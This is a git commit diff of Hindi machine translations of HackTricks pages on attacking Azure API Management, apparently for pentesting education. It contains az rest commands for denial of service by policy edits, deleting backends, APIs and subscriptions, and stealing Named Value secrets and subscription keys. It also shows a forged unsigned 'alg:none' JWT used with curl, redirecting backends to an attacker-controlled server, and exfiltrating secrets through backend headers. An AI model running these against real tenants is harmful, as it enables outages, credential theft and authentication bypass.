Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-12-26 18:52:44 +00:00
parent 9d3d9ceeb6
commit 5641d4be1d
3 changed files with 46 additions and 48 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
हमलावर denial of service पैदा करने के लिए कई वेक्टर का उपयोग कर सकता है। वैध ट्रैफ़िक को ब्लॉक करने के लिए, हमलावर rate-limiting और quota policies को अत्यंत कम मूल्यों पर सेट कर देता है, जिससे सामान्य पहुँच प्रभावी रूप से रोक दी जात है:
आक्रमणकर्ता denial of service पैदा करने के लिए कई vectors का उपयोग कर सकता है। वैध ट्रैफ़िक को ब्लॉक करने के लिए, आक्रमणकर्ता अत्यंत कम मूल्यों के साथ rate-limiting और quota policies जोड़ता है, जिससे सामान्य एक्सेस प्रभावी रूप से असंभव हो जात है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
विशिष्ट वैध client IPs को ब्लॉक करने के लिए, हमलावर चुने हुए addresses से आने वाले requests को reject करने वाली IP filtering policies जोड़ सकता है:
विशिष्ट वैध क्लाइंट IPs को ब्लॉक करने के लिए, हमलावर चयनित पतों से आने वाले अनुरोधों को अस्वीकार करने वाली IP फ़िल्टरिंग नीतियाँ जोड़ सकता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,7 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
अनुरोधों को विफल करने के लिए, attacker backend configuration को संशोधित कर सकता है और इसक URL किसी अमान्य या अप्राप्य पते में बदल सकता है:
अनुरोधों को विफल करने के लिए, हमलावर backend configuration को संशोधित करके उसक URL को एक अमान्य या असुलभ पते में बदल सकता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -40,21 +40,21 @@ az rest --method PUT \
}
}'
```
या बैकएंड हटाएँ:
या बैकएंड्स हटाएँ:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
महत्वपूर्ण APIs को अनुपलब्ध बनाने के लिए, attacker सीधे API Management service से उन्हें delete कर सकता है:
महत्वपूर्ण APIs को अनुपलब्ध करने के लिए, हमलावर उन्हें सीधे API Management service से delete कर सकता है:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
इंटरनेट से पहुँच को ब्लॉक करने के लिए, attacker API Management service पर public network access को disable कर सकता है:
इंटरनेट से पहुँच रोकने के लिए, attacker API Management service पर public network access को disable कर सकता है:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
वैध उपयोगकर्ताओं के लिए पहुँच को ब्लॉक करने के लिए, हमलावर API Management subscriptions को हटा सकता है:
वैध उपयोगकर्ताओं के लिए पहुँच रोकने के लिए, हमलावर API Management subscriptions को हटा सकता है:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,31 +4,31 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
यह हमल Azure API Management Named Values में संग्रहीत संवेदनशील secrets को एक्सेस करने से संबंधित है — या तो secret values को सीधे प्राप्त करके, या managed identities के माध्यम से permissions का दुरुपयोग करके Key Vaultbacked secrets प्राप्त करके।
इस हमले में Azure API Management Named Values में संग्रहीत संवेदनशील secrets तक पहुँच शामिल है — या तो सीधे secret values को प्राप्त करके, या managed identities के माध्यम से Key Vaultbacked secrets प्राप्त करने के लिए permissions का दुरुपयोग करके।
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
प्रत्येक subscription के लिए, attacker listSecrets endpoint को POST method का उपयोग करके subscription keys प्राप्त कर सकता है:
प्रत्येक subscription के लिए, attacker listSecrets endpoint को POST method के साथ इस्तेमाल करके subscription keys प्राप्त कर सकता है:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
प्रतिक्रिया में subscription का primary key (primaryKey) और secondary key (secondaryKey) शामिल होत है। इन कीज़ के साथ, हमलावर API Management Gateway के माध्यम से प्रकाशित किए गए APIs को प्रमाणीकृत कर और उन तक पहुँच प्राप्त कर सकता है:
प्रतिक्रिया में subscription primary key (primaryKey) और secondary key (secondaryKey) शामिल होत है। इन कुंजियों के साथ, हमलावर API Management Gateway के माध्यम से प्रकाशित किए गए APIs को प्रमाणीकृत करके एक्सेस कर सकता है:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
एक हमलावर सब्सक्रिप्शन से जुड़े सभी APIs और products तक पहुप्राप्त कर सकता है। यदि सब्सक्रिप्शन को संवेदनशील products या APIs तक पहुच है, तो हमलावर गोपनीय जानकारी प्राप्त कर सकता है या अनधिकृत संचालन कर सकता है।
एक हमलावर उस subscription से जुड़े सभी APIs और products तक पहुबना सकता है। यदि subscription को संवेदनशील products या APIs तक पहुच है, तो हमलावर गोपनीय जानकारी प्राप्त कर सकता है या अनधिकृत ऑपरेशन कर सकता है।
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
हमलावर पहले वर्तमान API नीति प्राप्त करता है:
हमलावर पहले वर्तमान API policy को प्राप्त करता है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
आक्रमणकारी अपन उद्देश्यों के अनुसार नीति को कई तरीकों से संशोधित कर सकता है। उदाहरण के लिए, to disable authentication, अगर नीति में JWT token validation शामिल है, तो आक्रमणकारी उस सेक्शन को remove या comment out कर सकता है:
हमलावर अपन उद्देश्यों के अनुसार नीति को कई तरीकों से संशोधित कर सकता है। उदाहरण के लिए, प्रमाणीकरण को अक्षम करने के लिए, यदि नीति में JWT token validation शामिल है, तो हमलावर उस अनुभाग को हटा सकता है या उसे टिप्पणी में बदल सकता है:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ az rest --method GET \
</on-error>
</policies>
```
rate limiting नियंत्रण हटाकर और denial-of-service attacks की अनुमति देकर, हमलावर quota और rate-limit policies को हटा सकता है या comment out कर सकता है:
rate limiting controls को हटाकर और denial-of-service attacks की अनुमति देने के लिए, हमलावर quota और rate-limit policies को हटा सकता है या comment out कर सकता है:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ rate limiting नियंत्रण हटाकर और denial-of-service
...
</policies>
```
बैकएंड रूट को संशोधित करने और ट्रैफिक को attacker-controlled सर्वर पर पुनर्निर्देशित करने के लिए:
बैकएंड रूट को संशोधित करने और ट्रैफिक को एक हमलावर-नियंत्रित सर्वर पर रीडायरेक्ट करने के लिए:
```xml
<policies>
...
@@ -72,7 +72,7 @@ rate limiting नियंत्रण हटाकर और denial-of-service
...
</policies>
```
फिर attacker संशोधित नीति लागू करता है। अनुरोध बॉडी एक JSON ऑब्जेक्ट होना चाहिए जिसमें नीति XML फ़ॉर्मट में शामिल हो:
आक्रमणकर्ता फिर संशोधित नीति लागू करता है। अनुरोध बॉडी में XML फ़ॉर्मट में नीति होने वाला JSON ऑब्जेक्ट होना चाहिए:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -84,35 +84,33 @@ az rest --method PUT \
}
}'
```
## JWT Validation Misconfiguration
## JWT वैलिडेशन की गलत कॉन्फ़िगरेशन
attacker को पता होना चाहिए कि एक API JWT token validation का उपयोग करती है और policy misconfigured है
attacker को यह पता होना चाहिए कि एक API JWT token validation का उपयोग करती है और कि policy गलत कॉन्फ़िगर है। गलत तरीके से कॉन्फ़िगर की गई JWT validation policies में `require-signed-tokens="false"` या `require-expiration-time="false"` हो सकता है, जो service को unsigned tokens या ऐसे tokens स्वीकार करने की अनुमति देता है जो कभी expire नहीं होते
गलत तरीके से कॉन्फ़िगर की गई JWT validation policies में `require-signed-tokens="false"` या `require-expiration-time="false"` हो सकते हैं, जो सेवा को unsigned tokens या ऐसे tokens स्वीकार करने की अनुमति देता है जो कभी expire नहीं होते।
attacker none algorithm (unsigned) का उपयोग करके एक malicious JWT token बनाता है:
attacker एक malicious JWT token बनाता है जो none algorithm (unsigned) का उपयोग करता है:
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
हमलावर दुर्भावनापूर्ण token का उपयोग कर API को एक अनुरोध भेजता है:
attacker दुष्ट token का उपयोग करके API को request भेजता है:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
यदि नीति `require-signed-tokens="false"` के साथ गलत कॉन्फ़िगर की गई है, तो सेवा unsigned token को स्वीकार कर लेगी। attacker `require-expiration-time="false"` होने पर expiration claim के बिना एक token भी बना सकता है।
यदि नीति `require-signed-tokens="false"` के साथ गलत कॉन्फ़िगर की गई है, तो सेवा unsigned token को स्वीकार कर लेगी। attacker `require-expiration-time="false"` होने पर expiration claim के बिना token भी बना सकता है।
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
attacker सबसे पहले सेवा की वर्तमान network configuration की जाँच करता है:
attacker पहले सेवा की वर्तमान नेटवर्क कॉन्फ़िगरेशन की जाँच करता है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
हमलावर JSON प्रतिक्रिया की समीक्षा करता है ताकि `publicNetworkAccess` और `virtualNetworkType` के मान सत्यापित कर सके। यदि `publicNetworkAccess` false पर सेट है या `virtualNetworkType` Internal पर सेट है, तो सेवा निजी एक्सेस के लिए कॉन्फ़िगर की गई है।
हमलावर JSON response की समीक्षा करके `publicNetworkAccess` और `virtualNetworkType` के मानों की पुष्टि करता है। यदि `publicNetworkAccess` false पर सेट है या `virtualNetworkType` Internal पर सेट है, तो सेवा private access के लिए कॉन्फ़िगर की गई है।
सेवा को इंटरनेट पर एक्सपोज़ करने के लिए, हमलावर को दोनों सेटिंग्स बदलनी होंगी। यदि सेवा internal मोड में चल रही है (`virtualNetworkType: "Internal"`), तो हमलावर इसे None या External में बदल देता है और `publicNetworkAccess` सक्षम कर देता है। यह Azure Management API का उपयोग करके किया जा सकता है:
सेवा को इंटरनेट पर एक्सपोज़ करने के लिए, हमलावर को दोनों सेटिंग्स बदलनी होंगी। यदि सेवा internal mode (`virtualNetworkType: "Internal"`) में चल रही है, तो हमलावर इसे None या External में बदलकर public network access सक्षम कर देता है। यह Azure Management API का उपयोग करके किया जा सकता है:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -124,20 +122,20 @@ az rest --method PATCH \
}
}'
```
एक बार `virtualNetworkType` को `None` या `External` पर सेट कर दिया जाए और `publicNetworkAccess` सक्षम हो, तो सेवा और सकी सभी APIs इंटरनेट से पहुँच योग्य हो जाती हैं, भले ही वे पहले private network या private endpoints के पीछे सुरक्षित थीं।
एक बार `virtualNetworkType` को `None` या `External` पर सेट कर दिया जाए और `publicNetworkAccess` सक्षम हो, तो service और सकी सभी APIs इंटरनेट से पहुँच योग्य हो जाती हैं, भले ही वे पहले private network या private endpoints के पीछे सुरक्षित थीं।
## `Microsoft.ApiManagement/service/backends/write`
हमलावर पहले मौजूदा backends को सूचीबद्ध करके यह पहचानता है कि किसे संशोधित करना है:
हमलावर पहले मौजूदा backends को सूचीबद्ध करता है ताकि वह पहचान सके कि किसे modify करना है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
The attacker उस backend की वर्तमान configuration प्राप्त करता है जिसे वे संशोधित करना चाहते हैं:
अटैकर उस backend की वर्तमान configuration प्राप्त करता है जिसे वे संशोधित करना चाहते हैं:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
आक्रमणकर्ता backend URL को अपने नियंत्रण वाले सर्वर की ओर इंगित करने के लिए संशोधित करता है। पहले, वे पिछली प्रतिक्रिया से ETag प्राप्त करते हैं और फिर backend को अपडेट करते हैं:
हमलावर backend URL को अपने नियंत्रण वाले server की ओर इंगित करने के लिए बदल देता है। पहले वे पिछले response से ETag प्राप्त करते हैं और फिर backend को अपडेट करते हैं:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -150,7 +148,7 @@ az rest --method PUT \
}
}'
```
वैकल्पिक रूप से, attacker backend headers को configure करके Named Values जिनमें secrets हैं, exfiltrate कर सकता है। यह backend credentials configuration के माध्यम से किया जाता है:
वैकल्पिक रूप से, attacker backend headers को configure करके Named Values जिनमें secrets होते हैं, exfiltrate कर सकता है। यह backend credentials configuration के माध्यम से किया जाता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \

View File

@@ -2,43 +2,43 @@
{{#include ../../../banners/hacktricks-training.md}}
## बुनियादी जानकारी
## मूल जानकारी
Azure API Management (APIM) एक पूर्ण रूप से प्रबंधित सेवा है जो API प्रकाशित करने, सुरक्षित करने, रूपांतरित करने, प्रबंधित करने और मॉनिटर करने के लिए एक **एकीकृत प्लेटफ़ॉर्म** प्रदान करती है। यह संगठनों को उनकी API रणनीति को केंद्रीकृत करने और सभी सेवाओं में संगत गवर्नेंस, प्रदर्शन और सुरक्षा सुनिश्चित करने में सक्षम बनाती है। बैकएंड सेवाओं और API उपभोक्ताओं के बीच एक अभिसरण परत के रूप में कार्य करके, APIM एकीकरण को सरल बनाता है और रखरखाव में सुधार करता है जबकि आवश्यक संचालन और सुरक्षा क्षमताएँ प्रदान करता है।
Azure API Management (APIM) एक पूरी तरह managed सेवा है जो **APIs को प्रकाशित करने, सुरक्षित करने, ट्रांसफ़ॉर्म करने, प्रबंधित करने और मॉनिटर करने के लिए एक एकीकृत प्लेटफ़ॉर्म** प्रदान करती है। यह संगठनों को उनकी **API रणनीति को केंद्रीकृत** करने में सक्षम बनाती है और उनकी सभी सेवाओं में लगातार गवर्नेंस, प्रदर्शन और सुरक्षा सुनिश्चित करती है। बैकएंड सेवाओं और API उपभोक्ताओं के बीच एक एब्स्ट्रैक्शन लेयर के रूप में कार्य करके, APIM एकीकरण को सरल बनाता है और रखरखाव में सुधार करता है, साथ ही आवश्यक संचालन और सुरक्षा क्षमताएँ प्रदान करता है।
## मुख्य अवधारणाएँ
## मूलभूत अवधारणाएँ
**The API Gateway** सभी API ट्रैफिक के लिए एकल प्रवेश बिंदु के रूप में कार्य करत है, जो बैकएंड सेवाओं को अनुरोध रूट करने, दर सीमाओं को लागू करन, प्रतिक्रियाओं को कैश करन, और प्रमाणीकरण और अधिकरण का प्रबंध करने जैसे कार्यों को संभालत है। यह gateway Azure द्वारा पूरी तरह होस्ट और प्रबंधित की जात है, जिससे उच्च उपलब्धता और स्केलेबिलिटी सुनिश्चित होती है।
**The API Gateway** सभी API ट्रैफिक के लिए एकल प्रवेश बिंदु के रूप में कार्य करत है, जो backend सेवाओं को अनुरोध रूटिंग, rate limits लागू करन, responses को cache करन, और authentication और authorization प्रबंधित करने जैसे कार्य संभालत है। यह gateway Azure द्वारा पूरी तरह होस्ट और मैनेज किया जात है, ज उच्च उपलब्धता और स्केलेबिलिटी सुनिश्चित करता है।
**The Developer Portal** एक self-service वातावरण प्रदान करता है जहाँ API उपभोक्ता उपलब्ध APIs खोज सकते हैं, दस्तावेज़ पढ़ सकते हैं, और endpoints का परीक्षण कर सकते हैं। यह इंटरएक्टिव टूल और सब्सक्रिप्शन जानकारी के एक्सेस के माध्यम से ऑनबोर्डिंग को सरल करता है।
**The Developer Portal** एक self-service परिवेश प्रदान करता है जहाँ API उपभोक्ता उपलब्ध APIs का पता लगा सकते हैं, दस्तावेज़ पढ़ सकते हैं, और endpoints का परीक्षण कर सकते हैं। यह interactive टूल और subscription जानकारी तक पहुँच प्रदान करके onboarding को सरल बनाता है।
**The Management Portal (Management Plane)** प्रशासकों द्वारा APIM सेवा को कॉन्फ़िगर और बनाए रखने के लिए उपयोग किया जाता है। यहाँ से उपयोगकर्ता APIs और operations परिभाषित कर सकते हैं, access control कॉन्फ़िगर कर सकते हैं, policies लागू कर सकते हैं, users का प्रबंधन कर सकते हैं, और APIs को products में व्यवस्थित कर सकते हैं। यह पोर्टल प्रशासन को केंद्रीकृत करता है और API गवर्नेंस में निरंतरता सुनिश्चित करता है।
**The Management Portal (Management Plane)** प्रशासकों द्वारा APIM सेवा को कॉन्फ़िगर और बनाए रखने के लिए उपयोग किया जाता है। यहाँ से उपयोगकर्ता APIs और operations को परिभाषित कर सकते हैं, access control कॉन्फ़िगर कर सकते हैं, policies लागू कर सकते हैं, users का प्रबंधन कर सकते हैं, और APIs को products में व्यवस्थित कर सकते हैं। यह पोर्टल प्रशासन को केंद्रीकृत करता है और लगातार API गवर्नेंस सुनिश्चित करता है।
## Authentication and Authorization
## प्रमाणीकरण और प्राधिकरण
Azure API Management कई **authentication mechanisms** समर्थन देता है ताकि API एक्सेस सुरक्षित रहे। इनमें **subscription keys**, **OAuth 2.0 tokens**, और **client certificates** शामिल हैं। APIM मूल रूप से **Microsoft Entra ID** के साथ एकीकृत होता है, जिससे enterprise-level identity management और APIs तथा backend सेवाओं के लिए सुरक्षित पहुंच सक्षम होती है।
Azure API Management कई **authentication mechanisms** समर्थन करता है ताकि API एक्सेस सुरक्षित किया जा सके। इनमें **subscription keys**, **OAuth 2.0 tokens**, और **client certificates** शामिल हैं। APIM natively **Microsoft Entra ID** के साथ integrate करता है, जिससे **enterprise-level identity management** और APIs तथा backend सेवाओं तक **secure access** सक्षम होती है।
## Policies
## पॉलिसियाँ
APIM में policies प्रशासकों को विभिन्न granularities पर **request और response processing** को अनुकूलित करने की अनुमति देती हैं, जिमें **service**, **API**, **operation**, या **product** स्तर शामिल हैं। Policies के माध्यम से, JWT token validation लागू करना, XML या JSON payloads को transform करना, rate limiting लागू करना, IP address द्वारा कॉल्स को प्रतिबंधित करना, या managed identities का उपयोग करके backend सेवाओं के खिलाफ authenticate करना संभव है। Policies अत्यधिक लचीली होती हैं और API Management प्लेटफ़ॉर्म की मुख्य ताकतों में से एक हैं, जो backend कोड में बदलाव किए बिना runtime व्यवहार पर सूक्ष्म नियंत्रण सक्षम करती हैं।
APIM में Policies प्रशासकों को विभिन्न granularities पर **request और response प्रोसेसिंग** को कस्टमाइज़ करने की अनुमति देती हैं, जिमें **service**, **API**, **operation**, या **product** स्तर शामिल हैं। पॉलिसियों के माध्यम से, JWT token validation लागू करना, XML या JSON payloads को ट्रांसफ़ॉर्म करना, rate limiting लागू करना, IP address द्वारा कॉल्स को प्रतिबंधित करना, या managed identities का उपयोग करके backend सेवाओं के खिलाफ authenticate करना संभव है। पॉलिसियाँ **बहुत लचीली** हैं और API Management प्लेटफ़ॉर्म की **मुख्य ताकतों** में से एक हैं, जो backend कोड को बदलने के बिना runtime व्यवहार पर सूक्ष्म नियंत्रण सक्षम करती हैं।
## Named Values
यह सेवा **Named Values** नामक एक तंत्र प्रदान करती है, जो policies द्वारा आवश्यक configuration जानकारी जैसे secrets, API keys, या अन्य मानों को स्टोर करने की अनुमति देत है।
यह सेवा **Named Values** नामक एक मैकेनिज़्म प्रदान करती है, जो नीतियों द्वारा आवश्यक **secrets**, **API keys**, या अन्य कॉन्फ़िगरेशन जानकारी जैसी चीज़ों को संग्रहीत करने की अनुमति देत है।
ये मान सीधे APIM में संग्रहीत कि जा सकत है या सुरक्षित रूप से **Azure Key Vault** से संदर्भित कि जा सकत है। Named Values सुरक्षित और केंद्रीकृत प्रबंधन को बढ़ावा देते हैं और हार्डकोडेड मानों के बजाय पुन: उपयोग योग्य संदर्भों की अनुमति देकर policy लेखन को सरल बनाते हैं।
इन मानों को सीधे APIM के भीतर स्टोर किया जा सकत है या सुरक्षित रूप से **Azure Key Vault** से संदर्भित किया जा सकत है। Named Values कॉन्फ़िगरेशन डेटा के **सुरक्षित और केंद्रीकृत प्रबंधन** को बढ़ावा देते हैं और हार्डकोडेड मानों के बजाय **reusable references** की अनुमति देकर policy लेखन को सरल बनाते हैं।
## Networking and Security Integration
Azure API Management सहजता से **virtual network environments** के साथ एकीकृत होता है, जिससे backend सिस्टम्स के लिए निजी और सुरक्षित कनेक्टिविटी संभव होती है।
Azure API Management **virtual network environments** के साथ सहजता से एकीकृत होता है, जिससे backend सिस्टम्स के लिए **निजी और सुरक्षित कनेक्टिविटी** सक्षम होती है।
जब इसे एक **Virtual Network (VNet)** के अंदर तैनात किया जाता है, तो APIM आंतरिक सेवाओं तक सार्वजनिक रूप से उजागर किए बिना पहुच सकता है। यह सेवा backend सेवाओं के साथ mutual TLS authentication का समर्थन करने के लिए custom certificates को कॉन्फ़िगर करने की अनुमति भी देती है, जो ऐसे परिदृश्यों में सुरक्षा को बढ़ाती है जहाँ मजबूत identity validation की आवश्यकता होती है।
जब इसे एक **Virtual Network (VNet)** के अंदर तैनात किया जाता है, तो APIM बिना उन्हें सार्वजनिक रूप से उजागर किए **आंतरिक सेवाओं** तक पहुच सकता है। सेवा custom certificates को कॉन्फ़िगर करने की भी अनुमति देती है ताकि backend सेवाओं के साथ **mutual TLS authentication** का समर्थन किया जा सके, जो उन परिदृश्यों में सुरक्षा में सुधार करता है जहाँ **strong identity validation** आवश्यक होती है।
ये नेटवर्किंग सुविधाएँ APIM को cloud-native और hybrid architectures दोनों के लिए उपयुक्त बनाती हैं
ये **networking सुविधाएँ** APIM को दोनों के लिए उपयुक्त बनाती हैं: **cloud-native** और **hybrid architectures**
### सूचीबद्ध करना
### Enumerate
API management सेवा को सूचीबद्ध करने के लिए:
To enumerate the API management service:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>